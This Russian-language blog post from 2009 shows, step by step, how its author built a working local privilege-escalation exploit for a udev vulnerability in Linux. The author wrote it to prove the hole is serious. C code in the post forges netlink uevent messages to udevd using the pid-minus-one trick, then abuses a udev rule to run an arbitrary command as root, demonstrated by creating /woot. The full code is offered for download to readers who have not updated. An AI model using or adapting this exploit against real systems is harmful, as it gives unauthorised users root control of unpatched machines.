Скучный эксплойт для одной широкой дыры

Apr 20, 2009 23:52


Это кросспост моей записи из хаброблога программирование под *nix.

Хаброюзер allan_sundry во флейме про ботнет под Mac OS X не поверил, что недавняя уязвимость в Linux-овом udev действительно широка, глубока и в ряде случаев даже опасна. В ответ я решил написать этот топик, демонстрирующий, что создать рабочий эксплойт для опубликованной уязвимости нередко может даже фриланствующий студент-недоучка, потратив пару-тройку часов воскресным вечером.

Входная информация - udev не проверяет отправителя сообщения.

А вот и весь нехитрый процесс создания эксплойта по шагам:
  1. Скачиваем исходники udev, grep-ом находим, что нужно создавать netlink-сокет для протокола NETLINK_KOBJECT_UEVENT: int netlink_socket = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  2. Читаем man 7 netlink и заполняем адрес назначения для пакета:
    struct sockaddr_nl dest;
    memset(&dest, 0, sizeof(dest));
    dest.nl_family = AF_NETLINK;
    dest.nl_pid = pidof_udev;

  3. Запускаем strace -p `pidof udevd`, втыкаем что-нибудь в USB и получаем примерный формат пакета: #define REQ(act, dev) \
    act "@/class/mem/" dev "\0" \
    "UDEV_LOG=3\0" \
    "ACTION=" act "\0" \
    "DEVPATH=/class/mem/" dev "\0" \
    "SUBSYSTEM=mem\0" \
    "MAJOR=1\0" \
    "MINOR=1\0" \
    "SEQNUM=3747\0" \
    "UDEVD_EVENT=1\0" \
    "DEVNAME=/dev/" dev "\0"
    char req1[] = REQ("add", "ufo");
  4. Отправляем этот пакет: sendto(netlink_socket, req1, sizeof(req1)-1, 0, (struct sockaddr*)&dest, sizeof(dest));
    И получаем в ответ «Connection refused».
  5. Изучаем еще раз исходники udev и обнаруживаем, что netlink сокет открывается до того, как демон уйдет в фон, fork()-нувшись. Pid-ы обычно выдаются последовательно, поэтому попробуем просто задать немного другой адрес: dest.nl_pid = pidof_udev - 1;
    После этого никаких ошибок send() не вернул и более того, в /dev появился странный файл /dev/ufo, который и был только что создан через дыру в udev. Но создать устройство - это не очень не интересно, лучше исполнить свой код.
  6. Сложный путь по внедрению своего кода в ядро через специальные устройства /dev/mem и /dev/kmem - это интересно, но для proof-of-concept можно и срезать дорогу. Запускаем grep -r RUN /etc/udev/rules.d/ и находим странно написанное правило: ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}"
  7. Добавляем еще одно netlink-сообщение, на этот раз для удаления /dev/ufo: char req2[] = REQ("remove", "ufo") "REMOVE_CMD=/bin/touch /woot\0";
    sendto(netlink_socket, req2, sizeof(req2)-1, 0, (struct sockaddr*)&dest, sizeof(dest));
    Запускаем... НЛО прилетело и оставило файл /woot!

Все вышеперечисленное проверялось на Gentoo но, вероятно, будет работать и под Ubuntu. Те, кто не обновился и желают самостоятельно поставить эксперимент, могут скачать код целиком.

P.S. скучный топик, не правда ли?

pub/habrahabr.ru, udev, linux, c

Previous post Next post
Up